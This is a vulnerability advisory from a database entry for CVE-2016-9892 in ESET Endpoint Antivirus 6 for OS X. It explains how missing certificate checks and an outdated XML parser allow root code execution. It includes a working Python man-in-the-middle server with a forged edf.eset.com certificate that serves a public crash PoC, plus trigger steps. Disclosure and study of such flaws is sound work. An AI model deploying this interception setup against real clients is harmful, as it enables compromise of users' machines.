Lucene search

K
seebugRootSSV:92725
HistoryFeb 28, 2017 - 12:00 a.m.

Remote Code Execution as Root via ESET Endpoint Antivirus 6(CVE-2016-9892)

2017-02-2800:00:00
Root
www.seebug.org
127

0.004 Low

EPSS

Percentile

71.5%

Introduction

Per ESET’s online material, “ESET Endpoint Antivirus for OS X delivers award-
winning cross-platform protection for multi-platform environments. It protects
against malware and spyware and shields end users from fake websites phishing
for sensitive information such as usernames, passwords or credit card details.
Unauthorized devices can be blocked from the system entirely. The solution’s
highly intuitive interface allows for quick navigation.”

Vulnerable versions of ESET Endpoint Antivirus 6 are statically linked with an
outdated XML parsing library and do not perform proper server authentication,
allowing for remote unauthenticated attackers to perform arbitrary code
execution as root on vulnerable clients.

Vulnerability

The esets_daemon service, which runs as root, is statically linked with an
outdated version of the POCO XML parser library (https://pocoproject.org/) –
version 1.4.6p1 from 2013-03-06. This version of POCO is based on Expat
(http://expat.sourceforge.net/) version 2.0.1 from 2007-06-05, which has a
publicly known XML parsing vulnerability (CVE-2016-0718) that allows for
arbitrary code execution via malformed XML content.

When ESET Endpoint Antivirus tries to activate its license, esets_daemon sends a
request to https://edf.eset.com/edf. The esets_daemon service does not validate
the web server’s certificate, so a man-in-the-middle can intercept the request
and respond using a self-signed HTTPS certificate. The esets_daemon service
parses the response as an XML document, thereby allowing the attacker to supply
malformed content and exploit CVE-2016-0718 to achieve arbitrary code execution
as root.


                                                # Extract overflow.xml from https://bugzilla.suse.com/attachment.cgi?id=676490
# (ZIP file containing a public proof-of-concept for CVE-2016-0718) and run the
# following Python program:

import BaseHTTPServer, SimpleHTTPServer, ssl, subprocess

class XmlHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_POST(self):
        with open("overflow.xml") as f:
            xml = f.read()
        self.send_response(200)
        self.send_header("Content-Type", "text/xml")
        self.send_header("Content-Length", len(xml))
        self.end_headers()
        self.wfile.write(xml)

    def do_CONNECT(self):
        self.wfile.write("HTTP/1.1 200 Connection Established\r\n")
        self.end_headers()
        self.connection = ssl.wrap_socket(
                self.connection, certfile="/tmp/xml.crt",
                keyfile="/tmp/xml.key", server_side=True)
        self.rfile = self.connection.makefile("rb", self.rbufsize)
        self.wfile = self.connection.makefile("wb", self.wbufsize)
        self.close_connection = 0

subprocess.call("openssl req -newkey rsa:2048 -x509 -nodes -subj " +
                "/CN=edf.eset.com -out /tmp/xml.crt -keyout /tmp/xml.key",
                shell=True)

BaseHTTPServer.HTTPServer(("localhost", 4443), XmlHandler).serve_forever()
#________________________________________________________________________________
# 
# Next, open the ESET Endpoint Antivirus UI, choose "Setup --> Enter application
# preferences...", and enable a local proxy server for localhost:4443 (this proxy
# configuration is used to simulate a man-in-the-middle attack; a real-world
# attack would not require a victim to enable a proxy server).
# 
# Next, in the ESET Endpoint Antivirus UI, choose "Help --> Activate Product",
# enter any License Key value you like (such as 0000-0000-0000-0000-0000), and
# press "Activate".
# 
# The esets_daemon process will immediately crash (the public PoC overflow.xml
# file used above just demonstrates that the vulnerability exists; it does not
# perform actual code execution). You can confirm this by running
# /Applications/Utilities/Console.app/Contents/MacOS/Console and seeing that
# esets_daemon crashed.